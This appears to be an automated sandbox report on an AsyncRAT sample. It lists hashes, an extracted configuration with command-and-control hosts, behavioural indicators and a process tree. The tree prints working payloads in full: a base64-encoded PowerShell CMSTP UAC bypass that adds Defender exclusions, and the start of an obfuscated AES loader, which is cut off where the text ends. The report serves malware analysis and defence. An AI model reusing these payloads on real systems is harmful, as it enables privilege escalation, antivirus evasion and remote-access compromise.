asyncrat | d7f1777e338ff75532c01ef6fb8dd7bdf6fcba46d8ed8c7eba15f34e464b1d21

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-12-2024 21:46

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General

Target

AsyncRAT/AsyncRAT.lnk
Size

938B
MD5

11f2bb2a95bfa3212ceafb66deeffdf2
SHA1

e68061495dc371e5a0dbd2c4130e908c680daf9e
SHA256

73394839eb747e047a28514e790c0d7c042488a277d42e984a284c84d3cd1927
SHA512

84af86271738f75d10974972894d21dd5acf4e197fafcd097928fbdcfb71d20c0e8c35c91aa46dc7fc91968603981151f4fc59910dd7fcde95b6bfa843145b57

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:2101

jt8iyre.localto.net:55644

Mutex

AbAUwI3PK3e3

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/4036-140-0x0000000006380000-0x0000000006392000-memory.dmp	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
46	4036	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4240	powershell.exe
3124	powershell.exe
3888	powershell.exe
4036	powershell.exe
4516	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
608	AsyncRAT.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
636	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
4516	powershell.exe
4516	powershell.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
4240	powershell.exe
4240	powershell.exe
4240	powershell.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
608	AsyncRAT.exe
3124	powershell.exe
3124	powershell.exe
3124	powershell.exe
3888	powershell.exe
3888	powershell.exe
3888	powershell.exe
4036	powershell.exe
4036	powershell.exe
4036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	636	taskkill.exe
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeIncreaseQuotaPrivilege	3888	powershell.exe
Token: SeSecurityPrivilege	3888	powershell.exe
Token: SeTakeOwnershipPrivilege	3888	powershell.exe
Token: SeLoadDriverPrivilege	3888	powershell.exe
Token: SeSystemProfilePrivilege	3888	powershell.exe
Token: SeSystemtimePrivilege	3888	powershell.exe
Token: SeProfSingleProcessPrivilege	3888	powershell.exe
Token: SeIncBasePriorityPrivilege	3888	powershell.exe
Token: SeCreatePagefilePrivilege	3888	powershell.exe
Token: SeBackupPrivilege	3888	powershell.exe
Token: SeRestorePrivilege	3888	powershell.exe
Token: SeShutdownPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeSystemEnvironmentPrivilege	3888	powershell.exe
Token: SeRemoteShutdownPrivilege	3888	powershell.exe
Token: SeUndockPrivilege	3888	powershell.exe
Token: SeManageVolumePrivilege	3888	powershell.exe
Token: 33	3888	powershell.exe
Token: 34	3888	powershell.exe
Token: 35	3888	powershell.exe
Token: 36	3888	powershell.exe
Token: SeIncreaseQuotaPrivilege	3888	powershell.exe
Token: SeSecurityPrivilege	3888	powershell.exe
Token: SeTakeOwnershipPrivilege	3888	powershell.exe
Token: SeLoadDriverPrivilege	3888	powershell.exe
Token: SeSystemProfilePrivilege	3888	powershell.exe
Token: SeSystemtimePrivilege	3888	powershell.exe
Token: SeProfSingleProcessPrivilege	3888	powershell.exe
Token: SeIncBasePriorityPrivilege	3888	powershell.exe
Token: SeCreatePagefilePrivilege	3888	powershell.exe
Token: SeBackupPrivilege	3888	powershell.exe
Token: SeRestorePrivilege	3888	powershell.exe
Token: SeShutdownPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeSystemEnvironmentPrivilege	3888	powershell.exe
Token: SeRemoteShutdownPrivilege	3888	powershell.exe
Token: SeUndockPrivilege	3888	powershell.exe
Token: SeManageVolumePrivilege	3888	powershell.exe
Token: 33	3888	powershell.exe
Token: 34	3888	powershell.exe
Token: 35	3888	powershell.exe
Token: 36	3888	powershell.exe
Token: SeIncreaseQuotaPrivilege	3888	powershell.exe
Token: SeSecurityPrivilege	3888	powershell.exe
Token: SeTakeOwnershipPrivilege	3888	powershell.exe
Token: SeLoadDriverPrivilege	3888	powershell.exe
Token: SeSystemProfilePrivilege	3888	powershell.exe
Token: SeSystemtimePrivilege	3888	powershell.exe
Token: SeProfSingleProcessPrivilege	3888	powershell.exe
Token: SeIncBasePriorityPrivilege	3888	powershell.exe
Token: SeCreatePagefilePrivilege	3888	powershell.exe
Token: SeBackupPrivilege	3888	powershell.exe
Token: SeRestorePrivilege	3888	powershell.exe
Token: SeShutdownPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeSystemEnvironmentPrivilege	3888	powershell.exe
Token: SeRemoteShutdownPrivilege	3888	powershell.exe
Token: SeUndockPrivilege	3888	powershell.exe
Token: SeManageVolumePrivilege	3888	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
608	AsyncRAT.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
608	AsyncRAT.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 372	3036	cmd.exe	85
PID 3036 wrote to memory of 372	3036	cmd.exe	85
PID 372 wrote to memory of 4032	372	upload.config.exe	87
PID 372 wrote to memory of 4032	372	upload.config.exe	87
PID 372 wrote to memory of 320	372	upload.config.exe	88
PID 372 wrote to memory of 320	372	upload.config.exe	88
PID 4032 wrote to memory of 608	4032	cmd.exe	91
PID 4032 wrote to memory of 608	4032	cmd.exe	91
PID 320 wrote to memory of 1312	320	cmd.exe	92
PID 320 wrote to memory of 1312	320	cmd.exe	92
PID 1312 wrote to memory of 4516	1312	WScript.exe	93
PID 1312 wrote to memory of 4516	1312	WScript.exe	93
PID 4516 wrote to memory of 3156	4516	powershell.exe	97
PID 4516 wrote to memory of 3156	4516	powershell.exe	97
PID 3156 wrote to memory of 5056	3156	csc.exe	98
PID 3156 wrote to memory of 5056	3156	csc.exe	98
PID 4516 wrote to memory of 3104	4516	powershell.exe	99
PID 4516 wrote to memory of 3104	4516	powershell.exe	99
PID 1312 wrote to memory of 636	1312	WScript.exe	124
PID 1312 wrote to memory of 636	1312	WScript.exe	124
PID 636 wrote to memory of 3124	636	cmd.exe	126
PID 636 wrote to memory of 3124	636	cmd.exe	126
PID 636 wrote to memory of 3124	636	cmd.exe	126
PID 3124 wrote to memory of 3888	3124	powershell.exe	127
PID 3124 wrote to memory of 3888	3124	powershell.exe	127
PID 3124 wrote to memory of 3888	3124	powershell.exe	127
PID 3124 wrote to memory of 4236	3124	powershell.exe	131
PID 3124 wrote to memory of 4236	3124	powershell.exe	131
PID 3124 wrote to memory of 4236	3124	powershell.exe	131
PID 4236 wrote to memory of 2712	4236	WScript.exe	132
PID 4236 wrote to memory of 2712	4236	WScript.exe	132
PID 4236 wrote to memory of 2712	4236	WScript.exe	132
PID 2712 wrote to memory of 4036	2712	cmd.exe	134
PID 2712 wrote to memory of 4036	2712	cmd.exe	134
PID 2712 wrote to memory of 4036	2712	cmd.exe	134

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AsyncRAT\AsyncRAT.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Users\Admin\AppData\Local\Temp\AsyncRAT\upload.config.exe
  "C:\Users\Admin\AppData\Local\Temp\AsyncRAT\upload.config.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:372
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /k start AsyncRAT.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Users\Admin\AppData\Local\Temp\AsyncRAT\AsyncRAT.exe
      AsyncRAT.exe
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:608
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /k start 7254_output.vbs
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AsyncRAT\7254_output.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1312
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4516
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a3vm3ak5\a3vm3ak5.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3156
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC4D.tmp" "c:\Users\Admin\AppData\Local\Temp\a3vm3ak5\CSCAC5CE6E554D54FDF9E2AE7C2438C11C5.TMP"
        7⤵
        
        PID:5056
      - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\ao54d3bs.inf
        6⤵
        
        PID:3104
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:636
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; 